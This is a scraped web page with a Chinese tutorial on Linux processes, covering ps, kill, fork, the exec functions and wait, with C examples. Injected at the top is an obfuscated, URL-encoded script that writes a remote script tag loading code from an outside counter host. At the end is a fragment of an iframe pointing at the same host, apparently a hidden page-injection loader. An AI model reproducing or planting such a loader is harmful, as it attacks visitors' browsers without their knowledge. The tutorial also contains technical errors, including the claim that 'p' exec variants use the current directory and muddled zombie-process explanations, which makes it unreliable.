HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Linux之进程篇
何谓进程?进程就是一个正在运行着的程序实例。
在
Linux
中,每一个进程都有一个进程号(
Process ID
)来标示身份。
在
shell
中你可以通过
ps
命令来查看。
[liyong@localhost temp]$ ps
PID
TTY
TIME
CMD
17197
pts
/8
00:00:00
bash
31141
pts
/8
00:00:00
ps
关于
ps
的详细用法参考
man
手册。
PID
下面的数字就是进程号,比如正在执行的
bash
的进程号是
17197
,
ps
的进程号是
31141
。
进程号是一个
16
位的数字,也就是说,一个系统中顶多只能由
2^16-1
个进程。
你在程序中可以通过下面函数来获得进程号。
pid_t getpid()
pid_t pid=getpid();
printf(“%d/n”,(int)pid);
每一个进程都有其父进程。你在
shell
下直接运行的进程,其父进程就是
bash
。系统中只有一个进程没有父进程,就是
init
。它的进程号永远为
1
。所有进程都是
init
进程的子孙进程。
你可以通过下面的函数来获得其父进程号。
pid_t getppid();
进程可以通过自身的停止执行来结束,也可以通过
kill
命令来杀死。
[liyong@localhost ~]$ ps
PID TTY
TIME CMD
17197 pts
/8
00:00:00 bash
31213 pts
/8
00:00:00 find
31220 pts
/8
00:00:00 ps
[liyong@localhost ~]$ kill 31213
[liyong@localhost ~]$ ps
PID TTY
TIME CMD
17197 pts
/8
00:00:00 bash
31221 pts
/8
00:00:00 ps
kill
其实是向进程发送一个
SIGTERM
信号。
下面谈一下如何创建一个进程。
创建一个进程由两种常用的方法:
system
和
fork/exec family
。
system
方法比较低效,通常不用。在这里重点说明
fork/exec family
用法。
使用
fork
来创建一个新的进程,其实是将进程自身复制成一个新的进程。记住,是复制,不是共享。你可以通过
fork
函数的返回值来区分该进程是父进程还是子进程。对于父进程,
fork
返回了子进程的
pid
。对于子进程而言,
fork
返回
0
。
下面是一个简单的
fork
程序。
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
int i=0;
pid_t child_pid=fork();
if(child_pid==0)
{//child process
for(i=0;i<100;i++)
{
printf("%d:%d/n",getpid(),i);
fflush(stdout);
}
exit(0);
}
else
{
for(i=0;i<100;i++)
{
printf("%d:%d/n",getpid(),i);
fflush(stdout);
}
exit(0);
}
}
exec
是一系列函数族。它和
fork
不同的是,他请求运行的程序将代替原先正在运行的程序。该函数执行完后,原先运行的程序将被终止,请求运行的程序开始运行,而进程号不变。
exec
有一系列寒暑,他们区分如下:
l
如果名字里含有
p
,比如
execvp
,
execlp
,那么表示他们运行的程序地址就在当前目录下,而如果没有,则需要写出程序的绝对地址。
l
如果名字里有
v
,则表示传递给即将运行的程序的参数是字符串,而如果是
l
,则表示参数格式采用的是
c
语言里的变参数。
如果传递的参数是字符串,需要注意的是该字符串内容和在命令行下执行程序时传递的参数一样,也就是说字符串从
argv[0]
到
argv[argc-1]
。且
argv[0]
就是该程序的名字。另外,该字符串必须以
NULL
来结尾。
参考下面一个程序。
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main()
{
char * argu_list[]={"ls","/","-l",NULL};
int status=0;
pid_t child_pid=fork();
if(child_pid==0)
{
//child process
execvp("ls",argu_list);
fprintf(stderr,"exec ls error/n");
exit(1);
}
else
{
//parent process
wait(&status);
if(WIFEXITED(status))
printf("the child process exit normally./n");
else
printf("the child process exit abnormally./n");
printf("done with the main program./n");
exit(0);
}
}
在这里,我们先调用
fork
复制了一个子进程,然后再调用
execvp
新运行了一个程序。
在这个程序离我们还调用了
wait
函数。该函数有什么作用了?
在一些情况下,我们的父进程可能比子进程结束的要早。如果父进程提前结束了,子进程就变成了僵尸进程。我们需要父进程来清理子进程结束后的一些环境。在这个时候调用
wait
,父进程将阻塞在
wait
地方,等待子进程结束。
wait
函数的参数,在这里我们输入的是
status
,将返回子进程结束的返回值,就是
return
的值。如果不需要,可以设为
NULL
。
注意,如果有多个子进程,那么当只要有一个进程结束的时候,
wait
函数就会返回。
如果你在父进程中忘记调用了
wait
,那么子进程将变成僵尸进程。由于
init
进程是所有进程的祖宗进程,
init
的一个职责就是不断查询系统,来获得哪些僵尸进程。它会代替父进程来清理子进程的环境。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">